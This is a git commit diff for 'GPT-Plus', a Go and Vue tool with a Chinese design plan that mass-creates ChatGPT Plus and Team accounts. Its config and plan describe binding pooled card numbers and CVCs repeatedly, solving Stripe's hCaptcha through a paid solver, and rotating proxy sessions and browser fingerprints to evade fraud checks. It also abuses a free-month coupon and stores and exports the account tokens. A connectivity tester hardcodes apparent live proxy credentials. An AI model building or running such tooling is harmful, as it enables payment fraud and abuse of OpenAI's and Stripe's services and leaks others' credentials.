commit 17ee51ba04f529e104fe4c1d87779b6b8da504ce Author: zqq61 <1852150449@qq.com> Date: Sun Mar 15 20:48:19 2026 +0800 Initial sanitized code sync diff --git a/.env.example b/.env.example new file mode 100644 index 0000000..f417be5 --- /dev/null +++ b/.env.example @@ -0,0 +1,21 @@ +# GPT-Plus Web 管理面板环境变量 + +# 管理员密码 (必填) +ADMIN_PASSWORD=your_secure_password + +# JWT 密钥 (可选,默认随机生成,重启后 session 失效) +JWT_SECRET=random_secret_key + +# 敏感数据加密密钥 (推荐,32 字节 hex = 64 个十六进制字符) +# 用于加密卡号、CVC、API Key 等敏感数据 +# 可通过 openssl rand -hex 32 生成 +ENCRYPTION_KEY= + +# 服务端口 (默认 8080) +PORT=8080 + +# 数据库路径 (默认 ./gptplus.db) +DB_PATH=./gptplus.db + +# 开发模式 (设为 true 启用 Gin debug 模式) +# DEV_MODE=true diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..87eb19b --- /dev/null +++ b/.gitignore @@ -0,0 +1,16 @@ +# IDE +.idea/ +.vscode/ +*.swp +*.swo + +# Logs +logs/ + +# Build output +*.exe +*.dll +*.so +*.dylib +Claude.md +config.yaml \ No newline at end of file diff --git a/build.sh b/build.sh new file mode 100644 index 0000000..b9b03c6 --- /dev/null +++ b/build.sh @@ -0,0 +1,18 @@ +#!/bin/bash +set -e + +echo "=== Building GPT-Plus ===" + +# 1. Build frontend +echo ">> Building frontend..." +cd web/frontend +npm install +npm run build +cd ../.. + +# 2. Build backend (embeds frontend dist) +echo ">> Building backend..." +CGO_ENABLED=1 go build -o gptplus ./cmd/gptplus/ + +echo "=== Build complete: ./gptplus ===" +echo "Run: ./gptplus (ensure .env exists)" diff --git a/cmd/conntest/main.go b/cmd/conntest/main.go new file mode 100644 index 0000000..edb99ae --- /dev/null +++ b/cmd/conntest/main.go @@ -0,0 +1,109 @@ +package main + +import ( + "fmt" + "net" + "net/url" + "time" + + "golang.org/x/net/proxy" +) + +func main() { + proxyURL := "socks5://8uk59M1TIb-us-sid-testconn01:RabyyxxkRxXZ@us.nexip.cc:443" + + parsed, _ := url.Parse(proxyURL) + auth := &proxy.Auth{ + User: parsed.User.Username(), + Password: "", + } + if p, ok := parsed.User.Password(); ok { + auth.Password = p + } + + dialer, err := proxy.SOCKS5("tcp", parsed.Host, auth, proxy.Direct) + if err != nil { + fmt.Printf("SOCKS5 dialer error: %v\n", err) + return + } + + targets := []string{ + "m.stripe.com:443", + "api.stripe.com:443", + "chatgpt.com:443", + "auth.openai.com:443", + "myip.ipip.net:80", + } + + fmt.Println("=== SOCKS5 proxy (us.nexip.cc:443) ===") + for _, target := range targets { + start := time.Now() + conn, err := dialer.Dial("tcp", target) + elapsed := time.Since(start) + if err != nil { + fmt.Printf("FAIL %-30s %v (%v)\n", target, err, elapsed.Round(time.Millisecond)) + } else { + conn.Close() + fmt.Printf("OK %-30s (%v)\n", target, elapsed.Round(time.Millisecond)) + } + } + + // Test multiple sessions to see if it's session-dependent + fmt.Println("\n=== m.stripe.com with different sessions ===") + sessions := []string{"sess001", "sess002", "sess003", "sess004", "sess005"} + for _, sid := range sessions { + pURL := fmt.Sprintf("socks5://8uk59M1TIb-us-sid-%s:RabyyxxkRxXZ@us.nexip.cc:443", sid) + p, _ := url.Parse(pURL) + a := &proxy.Auth{User: p.User.Username()} + a.Password, _ = p.User.Password() + d, err := proxy.SOCKS5("tcp", p.Host, a, proxy.Direct) + if err != nil { + fmt.Printf("FAIL session=%-10s dialer error: %v\n", sid, err) + continue + } + start := time.Now() + conn, err := d.Dial("tcp", "m.stripe.com:443") + elapsed := time.Since(start) + if err != nil { + fmt.Printf("FAIL session=%-10s %v (%v)\n", sid, err, elapsed.Round(time.Millisecond)) + } else { + conn.Close() + fmt.Printf("OK session=%-10s (%v)\n", sid, elapsed.Round(time.Millisecond)) + } + } + + // Also test port 3010 for comparison + fmt.Println("\n=== Port 3010 comparison (m.stripe.com) ===") + p3010 := "socks5://8uk59M1TIb-us-sid-testport3010:RabyyxxkRxXZ@us.nexip.cc:3010" + p2, _ := url.Parse(p3010) + a2 := &proxy.Auth{User: p2.User.Username()} + a2.Password, _ = p2.User.Password() + d2, err := proxy.SOCKS5("tcp", p2.Host, a2, proxy.Direct) + if err != nil { + fmt.Printf("FAIL port 3010 dialer error: %v\n", err) + } else { + start := time.Now() + conn, err := d2.Dial("tcp", "m.stripe.com:443") + elapsed := time.Since(start) + if err != nil { + fmt.Printf("FAIL port=3010 %v (%v)\n", err, elapsed.Round(time.Millisecond)) + } else { + conn.Close() + fmt.Printf("OK port=3010 (%v)\n", elapsed.Round(time.Millisecond)) + } + } + + // Direct connection (no proxy) + fmt.Println("\n=== Direct (no proxy) ===") + for _, target := range []string{"m.stripe.com:443", "api.stripe.com:443"} { + start := time.Now() + conn, err := net.DialTimeout("tcp", target, 10*time.Second) + elapsed := time.Since(start) + if err != nil { + fmt.Printf("FAIL %-30s %v (%v)\n", target, err, elapsed.Round(time.Millisecond)) + } else { + conn.Close() + fmt.Printf("OK %-30s (%v)\n", target, elapsed.Round(time.Millisecond)) + } + } +} diff --git a/cmd/gptplus/main.go b/cmd/gptplus/main.go new file mode 100644 index 0000000..872a68b --- /dev/null +++ b/cmd/gptplus/main.go @@ -0,0 +1,118 @@ +package main + +import ( + "crypto/rand" + "encoding/hex" + "log" + "net/http" + "os" + "strings" + + "gpt-plus/internal/db" + "gpt-plus/internal/handler" + "gpt-plus/internal/task" + "gpt-plus/web" + + "github.com/gin-gonic/gin" + "github.com/joho/godotenv" +) + +func main() { + _ = godotenv.Load() + + port := os.Getenv("PORT") + if port == "" { + port = "8080" + } + dbPath := os.Getenv("DB_PATH") + if dbPath == "" { + dbPath = "./gptplus.db" + } + jwtSecret := os.Getenv("JWT_SECRET") + if jwtSecret == "" { + b := make([]byte, 32) + rand.Read(b) + jwtSecret = hex.EncodeToString(b) + log.Println("[init] JWT_SECRET not set, using random secret (sessions won't survive restart)") + } + encKey := os.Getenv("ENCRYPTION_KEY") + if encKey != "" { + if err := db.SetEncryptionKey(encKey); err != nil { + log.Fatalf("[init] invalid ENCRYPTION_KEY: %v", err) + } + } + + devMode := os.Getenv("DEV_MODE") == "true" + if devMode { + gin.SetMode(gin.DebugMode) + } else { + gin.SetMode(gin.ReleaseMode) + } + + // Init database + if err := db.Init(dbPath); err != nil { + log.Fatalf("[init] database init failed: %v", err) + } + log.Printf("[init] database ready: %s", dbPath) + + // Init auth + handler.SetJWTSecret(jwtSecret) + if err := handler.InitAdminPassword(); err != nil { + log.Fatalf("[init] admin password init failed: %v", err) + } + + // Seed default config + handler.SeedDefaultConfigs() + + // Init task manager + tm := task.NewTaskManager(db.GetDB()) + tm.Init() + handler.SetTaskManager(tm) + + // Setup router + r := handler.SetupRouter(devMode) + + // Serve frontend in production mode + if !devMode { + serveFrontend(r) + } + + log.Printf("[init] server starting on :%s (dev=%v)", port, devMode) + if err := r.Run(":" + port); err != nil { + log.Fatalf("server error: %v", err) + } +} + +func serveFrontend(r *gin.Engine) { + frontendFS, err := web.FrontendFS() + if err != nil { + log.Printf("[init] frontend not embedded, skipping static file serving") + return + } + + // Serve static assets + httpFS := http.FS(frontendFS) + r.NoRoute(func(c *gin.Context) { + path := c.Request.URL.Path + + // API routes that don't match return 404 JSON + if strings.HasPrefix(path, "/api/") { + c.JSON(http.StatusNotFound, gin.H{"error": "API route not found"}) + return + } + + // Try to serve the file directly + trimmed := strings.TrimPrefix(path, "/") + if trimmed == "" { + trimmed = "index.html" + } + if f, err := frontendFS.Open(trimmed); err == nil { + f.Close() + c.FileFromFS(path, httpFS) + return + } + + // SPA fallback: serve index.html for all non-file routes + c.FileFromFS("/", httpFS) + }) +} diff --git a/config.example.yaml b/config.example.yaml new file mode 100644 index 0000000..6e54c6a --- /dev/null +++ b/config.example.yaml @@ -0,0 +1,84 @@ +# Proxy settings +proxy: + url: "socks5://user:pass@host:port" # Leave empty for direct connection + +# Email provider +email: + provider: "mailgateway" + mailgateway: + base_url: "xxx" + api_key: "xxx" + provider: "mail" + +# Card provider ("static", "file", or "api") +card: + provider: "file" # "static" = from YAML below, "file" = from TXT file, "api" = from API + + # Card pool settings (applies to all providers) + pool: + ttl_minutes: 60 # card validity period in minutes (default: 60) + multi_bind: true # allow one card to be used multiple times + max_binds: 0 # max uses per card (0 = unlimited when multi_bind=true) + + # Option 1: Static cards in config + static: + cards: + - number: "" + exp_month: "" + exp_year: "" + cvc: "" + name: "" + country: "" + currency: "" + address: "" + city: "" + state: "" + postal_code: "" + + # Option 2: Cards from TXT file (one per line) + # Format: number|month|year|cvc or number|month|year|cvc|name|country|currency + # Also supports comma delimiter: number,month,year,cvc + file: + path: "./cards.txt" + default_country: "" + default_currency: "" + + # Option 3: Cards from redeem code API (yyl.ncet.top) + api: + base_url: "https://yyl.ncet.top" + codes: # redeem codes inline + - "XXXX-XXXX-XXXX-XXXX" + # codes_file: "./codes.txt" # or load codes from file (one per line) + default_name: "" # fallback cardholder name (auto-parsed from API template) + default_country: "US" + default_currency: "USD" + +# Stripe config (update periodically, or leave empty for auto-fetch) +stripe: + build_hash: "ede17ac9fd" # auto-fetched from js.stripe.com if empty + tag_version: "4.5.43" # auto-fetched from m.stripe.network if empty + stripe_version: "2025-03-31.basil" + fingerprint_dir: "./fingerprints" # directory with browser fingerprint JSON files + +# Captcha solver (for Stripe hCaptcha challenge) +captcha: + provider: "hcaptchasolver" + api_key: "YOUR-HCAPTCHASOLVER-KEY" + proxy: "" # optional: fixed HTTP proxy for captcha solver + +# Account generation +account: + password_length: 16 + locale: "en-GB" + +# Team config +team: + enabled: true + workspace_prefix: "Team" + seat_quantity: 5 + coupon: "team-1-month-free" + invite_count: 0 # number of members to invite after team creation (0 = skip) + +# Output +output: + dir: "./output" diff --git a/config/config.go b/config/config.go new file mode 100644 index 0000000..b032449 --- /dev/null +++ b/config/config.go @@ -0,0 +1,323 @@ +package config + +import ( + "fmt" + "os" + "strconv" + + "gopkg.in/yaml.v3" + "gorm.io/gorm" +) + +type Config struct { + Proxy ProxyConfig `yaml:"proxy"` + Email EmailConfig `yaml:"email"` + Card CardConfig `yaml:"card"` + Stripe StripeConfig `yaml:"stripe"` + Captcha CaptchaConfig `yaml:"captcha"` + Account AccountConfig `yaml:"account"` + Team TeamConfig `yaml:"team"` + Output OutputConfig `yaml:"output"` + Batch BatchConfig `yaml:"batch"` +} + +type BatchConfig struct { + Count int `yaml:"count"` // number of accounts to create (0 = auto-detect from card codes) +} + +type CaptchaConfig struct { + Provider string `yaml:"provider"` // "hcaptchasolver" + APIKey string `yaml:"api_key"` + Proxy string `yaml:"proxy"` // fixed HTTP proxy for captcha solver +} + +type ProxyConfig struct { + URL string `yaml:"url"` + B2Proxy B2ProxyConfig `yaml:"b2proxy"` +} + +type B2ProxyConfig struct { + Enabled bool `yaml:"enabled"` + APIBase string `yaml:"api_base"` // e.g. http://global.rrp.b2proxy.com:8089 + Zone string `yaml:"zone"` // e.g. "custom" + PType int `yaml:"ptype"` // e.g. 1 + Proto string `yaml:"proto"` // "socks5" or "http" + SessTime int `yaml:"sess_time"` // sticky session minutes, default 5 +} + +type EmailConfig struct { + Provider string `yaml:"provider"` + MailGateway MailGatewayConfig `yaml:"mailgateway"` + Outlook OutlookEmailConfig `yaml:"outlook"` +} + +type OutlookEmailConfig struct { + AccountsFile string `yaml:"accounts_file"` // path to file with email----password----client_id----refresh_token + POP3Server string `yaml:"pop3_server"` // default: outlook.office365.com + POP3Port int `yaml:"pop3_port"` // default: 995 +} + +type MailGatewayConfig struct { + BaseURL string `yaml:"base_url"` + APIKey string `yaml:"api_key"` + Provider string `yaml:"provider"` // e.g. "gptmail" +} + +type CardConfig struct { + Provider string `yaml:"provider"` // "static", "file", "api" + Static StaticCardConfig `yaml:"static"` + File FileCardConfig `yaml:"file"` + API APICardConfig `yaml:"api"` + Pool CardPoolConfig `yaml:"pool"` +} + +type StaticCardConfig struct { + Cards []CardEntry `yaml:"cards"` +} + +type FileCardConfig struct { + Path string `yaml:"path"` // path to card TXT file + DefaultCountry string `yaml:"default_country"` // default country code e.g. JP + DefaultCurrency string `yaml:"default_currency"` // default currency e.g. JPY +} + +type APICardConfig struct { + BaseURL string `yaml:"base_url"` // e.g. https://yyl.ncet.top + Codes []string `yaml:"codes"` // redeem codes list + CodesFile string `yaml:"codes_file"` // or path to file with one code per line + DefaultName string `yaml:"default_name"` // default cardholder name + DefaultCountry string `yaml:"default_country"` // default country code e.g. US + DefaultCurrency string `yaml:"default_currency"` // default currency e.g. USD + DefaultAddress string `yaml:"default_address"` // default billing address + DefaultCity string `yaml:"default_city"` // default billing city + DefaultState string `yaml:"default_state"` // default billing state + DefaultPostalCode string `yaml:"default_postal_code"` // default billing ZIP code +} + +type CardEntry struct { + Number string `yaml:"number"` + ExpMonth string `yaml:"exp_month"` + ExpYear string `yaml:"exp_year"` + CVC string `yaml:"cvc"` + Name string `yaml:"name"` + Country string `yaml:"country"` + Currency string `yaml:"currency"` + Address string `yaml:"address"` + City string `yaml:"city"` + State string `yaml:"state"` + PostalCode string `yaml:"postal_code"` +} + +type CardPoolConfig struct { + TTLMinutes int `yaml:"ttl_minutes"` // card validity in minutes (default: 60) + MultiBind bool `yaml:"multi_bind"` // allow reusing cards multiple times + MaxBinds int `yaml:"max_binds"` // max uses per card (0 = unlimited when multi_bind=true) +} + +type StripeConfig struct { + BuildHash string `yaml:"build_hash"` + TagVersion string `yaml:"tag_version"` + StripeVersion string `yaml:"stripe_version"` + FingerprintDir string `yaml:"fingerprint_dir"` // directory with browser fingerprint JSON files + Aimizy AimizyConfig `yaml:"aimizy"` +} + +type AimizyConfig struct { + Enabled bool `yaml:"enabled"` + BaseURL string `yaml:"base_url"` // default: https://team.aimizy.com +} + +type AccountConfig struct { + PasswordLength int `yaml:"password_length"` + Locale string `yaml:"locale"` +} + +type TeamConfig struct { + Enabled bool `yaml:"enabled"` + WorkspacePrefix string `yaml:"workspace_prefix"` + SeatQuantity int `yaml:"seat_quantity"` + Coupon string `yaml:"coupon"` + InviteCount int `yaml:"invite_count"` // number of members to invite (0 = skip) +} + +type OutputConfig struct { + Dir string `yaml:"dir"` +} + +// ExpectedCountry returns the country code associated with the current card configuration. +// Falls back to "US" if no country is configured. +func (c *CardConfig) ExpectedCountry() string { + switch c.Provider { + case "static", "": + if len(c.Static.Cards) > 0 && c.Static.Cards[0].Country != "" { + return c.Static.Cards[0].Country + } + case "api": + if c.API.DefaultCountry != "" { + return c.API.DefaultCountry + } + case "file": + if c.File.DefaultCountry != "" { + return c.File.DefaultCountry + } + } + return "US" +} + +func Load(path string) (*Config, error) { + data, err := os.ReadFile(path) + if err != nil { + return nil, fmt.Errorf("read config file: %w", err) + } + + cfg := &Config{} + if err := yaml.Unmarshal(data, cfg); err != nil { + return nil, fmt.Errorf("parse config: %w", err) + } + + // Outlook email defaults (YAML-only provider) + if cfg.Email.Outlook.POP3Server == "" { + cfg.Email.Outlook.POP3Server = "outlook.office365.com" + } + if cfg.Email.Outlook.POP3Port == 0 { + cfg.Email.Outlook.POP3Port = 995 + } + + applyDefaults(cfg) + return cfg, nil +} + +// configRow mirrors internal/db.SystemConfig without importing internal/. +type configRow struct { + Key string + Value string +} + +// LoadFromDB builds a Config by reading the system_configs table. +// It applies the same defaults as Load() for any missing values. +func LoadFromDB(d *gorm.DB) (*Config, error) { + var rows []configRow + if err := d.Table("system_configs").Select("key, value").Find(&rows).Error; err != nil { + return nil, fmt.Errorf("query configs: %w", err) + } + m := make(map[string]string, len(rows)) + for _, r := range rows { + m[r.Key] = r.Value + } + + cfg := &Config{} + + // Proxy + cfg.Proxy.URL = m["proxy.url"] + cfg.Proxy.B2Proxy.Enabled = m["proxy.b2proxy.enabled"] == "true" + cfg.Proxy.B2Proxy.APIBase = m["proxy.b2proxy.api_base"] + cfg.Proxy.B2Proxy.Zone = m["proxy.b2proxy.zone"] + cfg.Proxy.B2Proxy.Proto = m["proxy.b2proxy.proto"] + cfg.Proxy.B2Proxy.SessTime, _ = strconv.Atoi(m["proxy.b2proxy.sess_time"]) + + // Email + cfg.Email.Provider = "mailgateway" + cfg.Email.MailGateway.BaseURL = m["email.gateway.base_url"] + cfg.Email.MailGateway.APIKey = m["email.gateway.api_key"] + cfg.Email.MailGateway.Provider = m["email.gateway.provider"] + + // Card — DB mode uses DBCardProvider, not static/file/api + cfg.Card.Provider = "db" + cfg.Card.API.BaseURL = m["card.api_base_url"] + cfg.Card.API.DefaultName = m["card.default_name"] + cfg.Card.API.DefaultCountry = m["card.default_country"] + cfg.Card.API.DefaultCurrency = m["card.default_currency"] + cfg.Card.API.DefaultAddress = m["card.default_address"] + cfg.Card.API.DefaultCity = m["card.default_city"] + cfg.Card.API.DefaultState = m["card.default_state"] + cfg.Card.API.DefaultPostalCode = m["card.default_postal_code"] + cfg.Card.Pool.MaxBinds, _ = strconv.Atoi(m["card.max_binds"]) + + // Stripe + cfg.Stripe.BuildHash = m["stripe.build_hash"] + cfg.Stripe.TagVersion = m["stripe.tag_version"] + cfg.Stripe.FingerprintDir = m["stripe.fingerprint_dir"] + + // Captcha + cfg.Captcha.Provider = m["captcha.provider"] + cfg.Captcha.APIKey = m["captcha.api_key"] + cfg.Captcha.Proxy = m["captcha.proxy"] + + // Account + cfg.Account.PasswordLength, _ = strconv.Atoi(m["account.password_length"]) + cfg.Account.Locale = m["account.locale"] + + // Team + cfg.Team.Enabled = m["team.enabled"] == "true" + cfg.Team.WorkspacePrefix = m["team.workspace_prefix"] + cfg.Team.SeatQuantity, _ = strconv.Atoi(m["team.seat_quantity"]) + cfg.Team.Coupon = m["team.coupon"] + cfg.Team.InviteCount, _ = strconv.Atoi(m["team.invite_count"]) + + // Output + cfg.Output.Dir = "./output" + + // Apply same defaults as Load() + applyDefaults(cfg) + return cfg, nil +} + +func applyDefaults(cfg *Config) { + if cfg.Stripe.BuildHash == "" { + cfg.Stripe.BuildHash = "ede17ac9fd" + } + if cfg.Stripe.TagVersion == "" { + cfg.Stripe.TagVersion = "4.5.43" + } + if cfg.Stripe.StripeVersion == "" { + cfg.Stripe.StripeVersion = "2025-03-31.basil" + } + if cfg.Account.PasswordLength == 0 { + cfg.Account.PasswordLength = 16 + } + if cfg.Account.Locale == "" { + cfg.Account.Locale = "en-GB" + } + if cfg.Team.WorkspacePrefix == "" { + cfg.Team.WorkspacePrefix = "Team" + } + if cfg.Team.SeatQuantity == 0 { + cfg.Team.SeatQuantity = 5 + } + if cfg.Team.Coupon == "" { + cfg.Team.Coupon = "team-1-month-free" + } + if cfg.Output.Dir == "" { + cfg.Output.Dir = "./output" + } + if cfg.Email.MailGateway.Provider == "" { + cfg.Email.MailGateway.Provider = "gptmail" + } + if cfg.Captcha.Provider == "" { + cfg.Captcha.Provider = "hcaptchasolver" + } + if cfg.Stripe.FingerprintDir == "" { + cfg.Stripe.FingerprintDir = "./fingerprints" + } + if cfg.Proxy.B2Proxy.APIBase == "" { + cfg.Proxy.B2Proxy.APIBase = "http://global.rrp.b2proxy.com:8089" + } + if cfg.Proxy.B2Proxy.Zone == "" { + cfg.Proxy.B2Proxy.Zone = "custom" + } + if cfg.Proxy.B2Proxy.PType == 0 { + cfg.Proxy.B2Proxy.PType = 1 + } + if cfg.Proxy.B2Proxy.Proto == "" { + cfg.Proxy.B2Proxy.Proto = "socks5" + } + if cfg.Proxy.B2Proxy.SessTime == 0 { + cfg.Proxy.B2Proxy.SessTime = 5 + } + if cfg.Stripe.Aimizy.BaseURL == "" { + cfg.Stripe.Aimizy.BaseURL = "https://team.aimizy.com" + } + if cfg.Card.Pool.MaxBinds == 0 { + cfg.Card.Pool.MaxBinds = 1 + } +} diff --git a/docs/web-panel-plan.md b/docs/web-panel-plan.md new file mode 100644 index 0000000..2c61682 --- /dev/null +++ b/docs/web-panel-plan.md @@ -0,0 +1,538 @@ +# GPT-Plus Web 管理面板方案 + +## 一、技术选型 + +| 层 | 选型 | 理由 | +|---|------|------| +| Backend | Go + Gin | 与现有 Go 代码无缝集成,Gin 轻量高性能 | +| Frontend | Vue 3 + Vite + Element Plus | 中后台组件库成熟,中文友好 | +| Database | SQLite + GORM | 零部署依赖,单文件数据库,适合单机场景 | +| Auth | JWT + bcrypt | .env 设置管理员密码,JWT 签发 token | +| 部署 | 单二进制 + embed 前端 | `go:embed` 嵌入前端 dist,一个二进制即运行 | + +## 二、目录结构 + +``` +gpt-plus/ +├── cmd/ +│ └── gptplus/ +│ └── main.go # 入口:启动 web server +├── config/ +│ └── config.go # 保留,Web 化后从 DB 读取 +├── internal/ +│ ├── db/ +│ │ ├── db.go # GORM 初始化 + 自动迁移 +│ │ ├── models.go # 数据模型 +│ │ └── query.go # 查询/聚合方法 +│ ├── handler/ +│ │ ├── auth.go # POST /api/login +│ │ ├── config.go # GET/PUT /api/config +│ │ ├── task.go # 任务 CRUD + 控制 +│ │ ├── account.go # 账号列表/搜索/导出/检查 +│ │ └── middleware.go # JWT 鉴权中间件 +│ ├── task/ +│ │ ├── manager.go # 任务管理器(创建/运行/停止) +│ │ ├── runner.go # 单任务执行器(调用现有 runOnce) +│ │ └── types.go # 任务状态/事件类型 +│ └── service/ +│ ├── account_svc.go # 账号业务逻辑 +│ └── export_svc.go # 导出(单文件/ZIP 打包) +├── pkg/ # 现有核心逻辑不动 +│ ├── auth/ +│ ├── chatgpt/ +│ ├── stripe/ +│ ├── httpclient/ +│ ├── provider/ +│ │ ├── card/ +│ │ ├── email/ +│ │ └── proxy/ +│ ├── captcha/ +│ └── storage/ # 保留文件导出,DB 为主存储 +├── web/ +│ └── frontend/ # Vue 3 SPA +│ ├── src/ +│ │ ├── views/ +│ │ │ ├── Login.vue +│ │ │ ├── Dashboard.vue # 概览(统计卡片) +│ │ │ ├── Config.vue # 配置管理 +│ │ │ ├── Tasks.vue # 任务列表 +│ │ │ ├── TaskDetail.vue # 任务详情 + 实时进度 +│ │ │ ├── Accounts.vue # 账号面板 +│ │ │ └── AccountDetail.vue # 母号详情(含小号列表) +│ │ ├── api/ # axios 封装 +│ │ ├── router/ +│ │ ├── stores/ # Pinia 状态管理 +│ │ └── components/ +│ ├── package.json +│ └── vite.config.ts +├── .env # ADMIN_PASSWORD=xxx, JWT_SECRET=xxx +├── gptplus.db # SQLite 数据库文件 (运行时生成) +└── go.mod +``` + +## 三、数据模型 + +### 3.1 系统配置表 `configs` + +```go +type SystemConfig struct { + ID uint `gorm:"primaryKey"` + Key string `gorm:"uniqueIndex;size:100"` // e.g. "proxy.url", "email.provider" + Value string `gorm:"type:text"` + Group string `gorm:"size:50;index"` // "proxy", "email", "card", "stripe", etc. + Label string `gorm:"size:100"` // 中文显示名 + Type string `gorm:"size:20"` // "string", "int", "bool", "password", "textarea" + UpdatedAt time.Time +} +``` + +配置组 (Group): +- `proxy` — 代理模式(直连/固定代理/B2Proxy动态代理)、B2Proxy API 地址、代理区域(国家代码,如 US/JP/KR)、协议(socks5/http)、会话时长等 +- `email` — 邮箱网关域名、API Key +- `card` — 卡片默认绑定上限(max_binds)、默认地址信息、开卡 API 密钥 +- `stripe` — build_hash, tag_version, fingerprint_dir +- `captcha` — 验证码提供商、API Key +- `account` — 密码长度、locale +- `team` — 开关、workspace 前缀、座位数、优惠券、邀请数 + +> 邮箱不再作为配置项,去掉 MailGateway,全量使用 Outlook。邮箱通过 mailboxes 表管理。 + +### 3.2 邮箱表 `mailboxes` + +```go +type Mailbox struct { + ID uint `gorm:"primaryKey"` + Email string `gorm:"size:200;uniqueIndex"` + Password string `gorm:"size:200"` + ClientID string `gorm:"size:200"` // Outlook OAuth client_id + RefreshToken string `gorm:"type:text"` // Outlook OAuth refresh_token + + // 使用状态 + Status string `gorm:"size:20;index;default:available"` + // available / in_use / used / used_member / failed / disabled + + UsedByAccountID *uint `gorm:"index"` + UsedForRole string `gorm:"size:20"` // "owner" / "member" + UsedAt *time.Time + TaskID string `gorm:"size:36;index"` + + CreatedAt time.Time `gorm:"index"` + UpdatedAt time.Time +} +``` + +**邮箱生命周期**: +``` +available → in_use → used (主号) / used_member (小号) / failed (可回收) + → disabled (管理员禁用) +failed → available (回收重用) +``` + +**适配**: 新增 `DBEmailProvider`,不再用内存索引,完全 DB 状态驱动。 + +**API**: 导入/回收/禁用/统计,邮箱面板可视化管理。 + +### 3.3 注册任务表 `tasks` + +```go +type Task struct { + ID string `gorm:"primaryKey;size:36"` // UUID + Type string `gorm:"size:20;index"` // "plus", "team", "both" + TotalCount int // 本轮要注册多少个 + DoneCount int // 已完成(成功+失败) + SuccessCount int // 成功数 + FailCount int // 失败数 + Status string `gorm:"size:20;index"` // pending/running/stopping/stopped/completed + Config string `gorm:"type:text"` // 快照:任务创建时的配置 JSON + CreatedAt time.Time `gorm:"index"` + StartedAt *time.Time + StoppedAt *time.Time +} +``` + +状态流转: +``` +pending → running → completed + → stopping → stopped (graceful stop) +``` + +### 3.3 任务日志表 `task_logs` + +```go +type TaskLog struct { + ID uint `gorm:"primaryKey"` + TaskID string `gorm:"size:36;index"` + Index int // 第几个账号 (1-based) + Email string `gorm:"size:200"` + Status string `gorm:"size:20"` // success/failed/skipped + Plan string `gorm:"size:20"` // plus/team/free + Error string `gorm:"type:text"` + Duration int // 耗时(秒) + CreatedAt time.Time +} +``` + +### 3.4 卡密表 `card_codes` + 卡片表 `cards` + +两层管理:卡密(兑换码)→ 卡片(已开卡)。同一时间只有一张卡 active。 + +**CardCode**: unused → redeeming → redeemed(关联card) / failed +**Card**: available → active(全局唯一) → exhausted / rejected / disabled + +自动切换:active失效 → 找available → 无则兑换卡密 → 无则报错 + +API: `/api/cards` + `/api/card-codes` (CRUD + 激活 + 兑换 + 统计) +UI: 两个Tab(卡片+卡密),顶部高亮当前激活卡 + +详见 Obsidian 完整文档。 + +### 3.5 账号表 `accounts` + +```go +type Account struct { + ID uint `gorm:"primaryKey"` + TaskID string `gorm:"size:36;index"` // 来源任务 + Email string `gorm:"size:200;uniqueIndex"` + Password string `gorm:"size:100"` + Plan string `gorm:"size:20;index"` // "plus", "team_owner", "team_member" + ParentID *uint `gorm:"index"` // team_member → 指向 team_owner + Parent *Account `gorm:"foreignKey:ParentID"` + SubAccounts []Account `gorm:"foreignKey:ParentID"` // team_owner 的小号列表 + + // Auth tokens + AccessToken string `gorm:"type:text"` + RefreshToken string `gorm:"type:text"` + IDToken string `gorm:"type:text"` + AccountID string `gorm:"size:100"` + DeviceID string `gorm:"size:100"` + UserID string `gorm:"size:100"` + + // Team specific + TeamWorkspaceID string `gorm:"size:100"` + WorkspaceToken string `gorm:"type:text"` // team workspace-scoped token + + // Status + Status string `gorm:"size:20;index;default:active"` // active/banned/unknown + StatusCheckedAt *time.Time + Note string `gorm:"type:text"` // 用户备注 + + CreatedAt time.Time `gorm:"index"` + UpdatedAt time.Time +} +``` + +## 四、API 设计 + +### 4.1 认证 + +``` +POST /api/login { password: "xxx" } → { token: "jwt..." } +``` + +所有 `/api/*` 路由需 `Authorization: Bearer ` 头(中间件校验)。 + +### 4.2 配置管理 + +``` +GET /api/config → { groups: { proxy: [...], email: [...], ... } } +PUT /api/config { items: [ {key, value}, ... ] } +GET /api/config/test-connection → 测试代理/邮箱/卡片连通性 +``` + +### 4.3 任务管理 + +``` +POST /api/tasks { type: "plus", count: 10 } → { id: "uuid", status: "pending" } +GET /api/tasks → [ { id, type, total, done, success, fail, status, created_at } ] +GET /api/tasks/:id → { ...task, logs: [...] } +POST /api/tasks/:id/start → 启动任务 +POST /api/tasks/:id/stop → 优雅停止(完成当前轮后停止) +DELETE /api/tasks/:id → 删除已完成/已停止的任务 +``` + +**实时进度**: 前端轮询 `GET /api/tasks/:id`(2s 间隔),返回最新 done/success/fail 计数 + 最新日志。 + +### 4.4 账号管理 + +``` +GET /api/accounts ?plan=plus|team_owner&search=email&page=1&size=20 +GET /api/accounts/:id → 账号详情(含小号列表) +POST /api/accounts/check { ids: [1,2,3] } → 批量检查状态 +PUT /api/accounts/:id/note { note: "xxx" } → 更新备注 +POST /api/accounts/export { ids: [1,2,3], note: "导出备注" } → 文件下载 +``` + +**账号列表规则**: +- 默认只显示 `plan = plus` 和 `plan = team_owner` +- `team_member` 不在列表中显示,归属于其 `parent` (team_owner) +- 搜索可以搜到 team_member(显示其所属母号) + +**导出规则**: +- 导出 Plus 账号 → 单个 `{email}.auth.json` +- 导出 Team 母号 → 母号 `.auth.json` + 所有小号 `.auth.json` +- 导出文件数 > 1 → 自动打包为 `.zip` +- 导出文件名: `export_{备注}_{timestamp}.zip` 或 `{email}.auth.json` + +### 4.5 Dashboard + +``` +GET /api/dashboard → { total_accounts, plus_count, team_count, + active_tasks, recent_tasks: [...], + today_registrations, success_rate } +``` + +## 五、任务执行引擎 + +### 5.1 TaskManager + +```go +type TaskManager struct { + mu sync.Mutex + running map[string]*TaskRunner // taskID → runner + db *gorm.DB +} + +func (m *TaskManager) Start(taskID string) error +func (m *TaskManager) Stop(taskID string) error // 设置 stopping flag +func (m *TaskManager) GetStatus(taskID string) *TaskStatus +``` + +### 5.2 TaskRunner + +```go +type TaskRunner struct { + task *db.Task + config *config.Config // 从任务快照还原 + cancel context.CancelFunc + stopping atomic.Bool // graceful stop signal +} + +func (r *TaskRunner) Run(ctx context.Context) { + for i := 0; i < r.task.TotalCount; i++ { + if r.stopping.Load() { + break // 当前轮完成后停止 + } + result := runOnce(ctx, i, ...) // 调用现有核心逻辑 + r.saveResult(result) // 写入 DB + r.updateProgress() // 更新任务计数 + } +} +``` + +### 5.3 停止逻辑 + +用户点击"停止" → `POST /api/tasks/:id/stop`: +1. 设置 `task.Status = "stopping"` (DB) +2. 设置 `runner.stopping = true` (内存) +3. 